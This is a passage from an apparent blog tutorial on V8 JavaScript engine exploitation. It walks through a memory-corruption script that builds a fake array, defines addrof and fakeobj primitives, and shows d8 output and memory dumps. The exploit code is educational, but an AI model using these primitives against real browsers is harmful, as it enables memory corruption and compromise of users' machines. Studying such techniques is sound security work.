crash.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll have to be a bit more careful going forward if we want to end up with anything more than a segmentation fault. And there&amp;rsquo;s more to worry about later down the line because v8 also has a garbage collector that likes to swoop in every once in a while to rearrange the memory.&lt;/p&gt;&#xA;&lt;p&gt;This is a good time to figure out a plan for getting our primitives cooked up though.&lt;/p&gt;&#xA;&lt;h2 id=&#34;part-3-cooking-up-some-primitives&#34;&gt;Part 3: Cooking up some primitives&lt;/h2&gt;&#xA;&lt;p&gt;In JavaScript exploitation, a memory corruption is usually turned into the &lt;strong&gt;addrof&lt;/strong&gt; and &lt;strong&gt;fakeobj&lt;/strong&gt; primitives. &lt;strong&gt;addrof&lt;/strong&gt; is a function that tells us the address of a JavaScript object, and &lt;strong&gt;fakeobj&lt;/strong&gt; is a function that returns a pointer to a memory address to be interpreted as an object, similar to what we did to create our fake array earlier.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take our research so far and wrap it up in a nice little script.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConCode&#34;&gt;&lt;span class=&#34;jsConNull&#34;&gt;// set up helper stuff&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;buffer&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;ArrayBuffer&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;8&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;floatBuffer&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;Float64Array&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;buffer&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;int64Buffer&lt;/span&gt; = &lt;span class=&#34;jsConKw&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;BigUint64Array&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;buffer&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// bigint to double&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;int64Buffer&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;floatBuffer&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// double to bigint&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;f&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;floatBuffer&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;f&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;int64Buffer&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// bigint to 32-bit hex string&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;hex32&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConStr&#34;&gt;&#34;0x&#34;&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;toString&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;16&lt;/span&gt;).&lt;span class=&#34;jsConProp&#34;&gt;padStart&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;8&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;);&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// bigint to 64-bit hex string&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;hex64&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConStr&#34;&gt;&#34;0x&#34;&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;toString&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;16&lt;/span&gt;).&lt;span class=&#34;jsConProp&#34;&gt;padStart&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;16&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;);&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// set up variables&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;arr&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;2.2&lt;/span&gt;, &lt;span class=&#34;jsConValIn&#34;&gt;3.3&lt;/span&gt;];&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;tmpObj&lt;/span&gt; = {&lt;span class=&#34;jsConProp&#34;&gt;a&lt;/span&gt;: &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;};&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;objArr&lt;/span&gt; = [&lt;span class=&#34;jsConVar&#34;&gt;tmpObj&lt;/span&gt;];&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// check the address of arr&lt;/span&gt;&#xD;&#xA;%&lt;span class=&#34;jsConV8&#34;&gt;DebugPrint&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// set up the fake array&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;arrAddr&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0x12345678n&lt;/span&gt;;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;arrElementsAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;arrAddr&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;0x20n&lt;/span&gt;;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;fakeAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;arrElementsAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x10n&lt;/span&gt;;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;fakeElementsAddr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;arrElementsAddr&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;0x8n&lt;/span&gt;;&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x00000100000008a9n&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x00000725001cb7c5n&lt;/span&gt;);&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;2&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x0000010000000000n&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;fakeElementsAddr&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// do the exploit&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;tmp&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;];&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;evil&lt;/span&gt; = {&#xD;&#xA;  &lt;span class=&#34;jsConProp&#34;&gt;valueOf&lt;/span&gt;: () =&amp;gt; {&#xD;&#xA;    &lt;span class=&#34;jsConVar&#34;&gt;tmp&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;;&#xD;&#xA;    &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;Number&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;arrAddr&lt;/span&gt; ^ &lt;span class=&#34;jsConVar&#34;&gt;fakeAddr&lt;/span&gt;);&#xD;&#xA;  }&#xD;&#xA;};&#xD;&#xA;&lt;span class=&#34;jsConVar&#34;&gt;tmp&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;evil&lt;/span&gt;);&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// this is the fake 128-element array&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;oob&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;tmp&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConNull&#34;&gt;// print out the data in the fake array&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;for&lt;/span&gt; (&lt;span class=&#34;jsConKw&#34;&gt;let&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;i&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt; &amp;lt; &lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;length&lt;/span&gt;; &lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;++) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;addr&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;hex32&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;fakeElementsAddr&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;BigInt&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt; + &lt;span class=&#34;jsConValIn&#34;&gt;1&lt;/span&gt;)*&lt;span class=&#34;jsConValIn&#34;&gt;0x8n&lt;/span&gt; - &lt;span class=&#34;jsConValIn&#34;&gt;1n&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;val&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;hex64&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConVar&#34;&gt;i&lt;/span&gt;]));&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;console&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;log&lt;/span&gt;(&lt;span class=&#34;jsConStr&#34;&gt;`&lt;/span&gt;${&lt;span class=&#34;jsConVar&#34;&gt;addr&lt;/span&gt;}&lt;span class=&#34;jsConStr&#34;&gt;: &lt;/span&gt;${&lt;span class=&#34;jsConVar&#34;&gt;val&lt;/span&gt;}&lt;span class=&#34;jsConStr&#34;&gt;`&lt;/span&gt;);&#xD;&#xA;}&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;The beginning of the script sets up some helper functions. Then we create an array to store our fake array in as before, and also another array that has a random object in it.&lt;/p&gt;&#xA;&lt;p&gt;To set up the fake array, we must know where our real array is at in memory. There are ways to accomplish this, but for now we&amp;rsquo;ll just run %DebugPrint and use its output to change the &lt;strong&gt;arrAddr&lt;/strong&gt; value in the code to what the memory address should be. This approach works okay in a controlled environment like ours (we&amp;rsquo;ll need to keep updating the address as we change the code), but breaks apart when attacking browsers in the real world. I&amp;rsquo;ll show how to overcome this shortcoming later in the post.&lt;/p&gt;&#xA;&lt;p&gt;We can then guess how the rest of the memory lines up and use offsets to set a few other variables, such as the &lt;strong&gt;fakeElementsAddr&lt;/strong&gt; which we add to the header of the fake array so that it points to where the fake array&amp;rsquo;s elements are.&lt;/p&gt;&#xA;&lt;p&gt;Once everything&amp;rsquo;s set up we do the xor exploit thing and end up with the fake array in &lt;code&gt;tmp[0]&lt;/code&gt;. We assign it to the &lt;code&gt;oob&lt;/code&gt; variable for convenience and print its memory out in a format similar to the gdb output. Let&amp;rsquo;s run it!&lt;/p&gt;&#xA;&lt;div class=&#34;jsMem&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemTitle&#34;&gt;VARS&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemDbg&#34;&gt;&lt;span class=&#34;jsMemVar2&#34;&gt;arr&lt;/span&gt; = [5.43231e-312, &lt;span class=&#34;jsMemVar0&#34;&gt;3.88113e-311&lt;/span&gt;, &lt;span class=&#34;jsMemVar1&#34;&gt;5.43231e-312&lt;/span&gt;] // &lt;span class=&#34;jsMemVar13&#34;&gt;0x000432f9&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsMemVar3&#34;&gt;tmpObj&lt;/span&gt; = {&lt;span class=&#34;jsMemVar5&#34;&gt;a&lt;/span&gt;: &lt;span class=&#34;jsMemVar4&#34;&gt;1&lt;/span&gt;} // &lt;span class=&#34;jsMemVar11&#34;&gt;0x00043309&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsMemVar9&#34;&gt;objArr&lt;/span&gt; = &lt;span class=&#34;jsMemVar10&#34;&gt;[&lt;span class=&#34;jsMemVar11&#34;&gt;tmpObj&lt;/span&gt;]&lt;/span&gt; // &lt;span class=&#34;jsMemVar14&#34;&gt;0x00043341&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsMemVar0&#34;&gt;oob&lt;/span&gt; = [...] // &lt;span class=&#34;jsMemVar12&#34;&gt;0x000432e9&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemTitle&#34;&gt;OUT&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemHex&#34;&gt;$ ./d8 --allow-natives-syntax exploit.js&#xD;&#xA;&lt;span class=&#34;jsMemVar12&#34;&gt;0x000432e8&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar0&#34;&gt;00000725001cb7c5&lt;/span&gt;&#xD;&#xA;0x000432f0: 0x&lt;span class=&#34;jsMemVar1&#34;&gt;00000100000432e1&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsMemVar13&#34;&gt;0x000432f8&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar2&#34;&gt;00000725001cb7c5&lt;/span&gt;&#xD;&#xA;0x00043300: 0x&lt;span class=&#34;jsMemVar2&#34;&gt;00000006000432d9&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsMemVar11&#34;&gt;0x00043308&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar3&#34;&gt;00000725001d3b05&lt;/span&gt;&#xD;&#xA;0x00043310: 0x&lt;span class=&#34;jsMemVar4&#34;&gt;00000002&lt;/span&gt;00000725&#xD;&#xA;0x00043318: 0x0001000100000685&#xD;&#xA;0x00043320: 0x0000074d00000000&#xD;&#xA;0x00043328: 0x00000084&lt;span class=&#34;jsMemVar5&#34;&gt;00002af1&lt;/span&gt;&#xD;&#xA;0x00043330: 0x&lt;span class=&#34;jsMemVar10&#34;&gt;0000056d&lt;/span&gt;00000002&#xD;&#xA;0x00043338: 0x&lt;span class=&#34;jsMemVar11&#34;&gt;00043309&lt;/span&gt;&lt;span class=&#34;jsMemVar10&#34;&gt;00000002&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsMemVar14&#34;&gt;0x00043340&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar9&#34;&gt;00000725001cb845&lt;/span&gt;&#xD;&#xA;0x00043348: 0x&lt;span class=&#34;jsMemVar9&#34;&gt;0000000200043335&lt;/span&gt;&#xD;&#xA;...&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Neat! If we stare at the patterns in the memory we can make out the other arrays and stuff we initialized earlier. And if you think about it, we pretty much already have the &lt;strong&gt;addrof&lt;/strong&gt; and &lt;strong&gt;fakeobj&lt;/strong&gt; primitives here. At &lt;span class=&#34;jsMemVarExt11&#34;&gt;index 10&lt;/span&gt;, we can get the address of the object currently in objArr, so if we put an object of our choice in that array we can see its address. And if we put an address to an object at that index, we&amp;rsquo;ll be able to access it through the objArr array. That&amp;rsquo;ll be our &lt;strong&gt;addrof&lt;/strong&gt; and &lt;strong&gt;fakeobj&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s write the primitives to get and set the upper 32 bits:&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConCode&#34;&gt;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;o&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;objArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;o&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;10&lt;/span&gt;]) &amp;gt;&amp;gt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;;&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;fakeobj&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;a&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;temp&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;10&lt;/span&gt;]) &amp; &lt;span class=&#34;jsConValIn&#34;&gt;0xFFFFFFFFn&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;10&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;temp&lt;/span&gt; + (&lt;span class=&#34;jsConVar&#34;&gt;a&lt;/span&gt; &amp;lt;&amp;lt; &lt;span class=&#34;jsConValIn&#34;&gt;32n&lt;/span&gt;));&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;objArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;}&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;If the address were at the lower bits instead, we&amp;rsquo;d need to modify the code a bit accordingly:&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConCode&#34;&gt;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;o&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;objArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;o&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;10&lt;/span&gt;]) &amp; &lt;span class=&#34;jsConValIn&#34;&gt;0xFFFFFFFFn&lt;/span&gt;;&#xD;&#xA;}&#xD;&#xA;&lt;!----&gt;&#xD;&#xA;&lt;span class=&#34;jsConKw&#34;&gt;function&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;fakeobj&lt;/span&gt;(&lt;span class=&#34;jsConIdx&#34;&gt;a&lt;/span&gt;) {&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;temp&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;10&lt;/span&gt;]) &amp; &lt;span class=&#34;jsConValIn&#34;&gt;0xFFFFFFFF00000000n&lt;/span&gt;;&#xD;&#xA;  &lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;10&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;temp&lt;/span&gt; + &lt;span class=&#34;jsConVar&#34;&gt;a&lt;/span&gt;);&#xD;&#xA;  &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;objArr&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;}&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Time to try them out! Let&amp;rsquo;s do an experiment where we first try to get the address of our fake array, and then turn that address into a new pointer to that array.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;hex32&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;addrof&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;oob&lt;/span&gt;))&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConStrOut&#34;&gt;&#39;0x000432e9&#39;&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;fakeArray&lt;/span&gt; = &lt;span class=&#34;jsConVar&#34;&gt;fakeobj&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x000432e9n&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;fakeArray&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;details&gt;&lt;summary&gt;&lt;i&gt;(128) [&lt;span class=&#34;jsConValOut&#34;&gt;3.881131231533e-311&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;5.432310575454e-312&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;3.881131231533e-311&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;1.27321098e-313&lt;/span&gt;, (124&amp;nbsp;more)...]&lt;/i&gt;&lt;/summary&gt;&#xD;&#xA;&lt;div style=&#34;padding-left: 24px&#34;&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;0&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x00000725001cb7c5&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;1&lt;/span&gt;: &lt;span 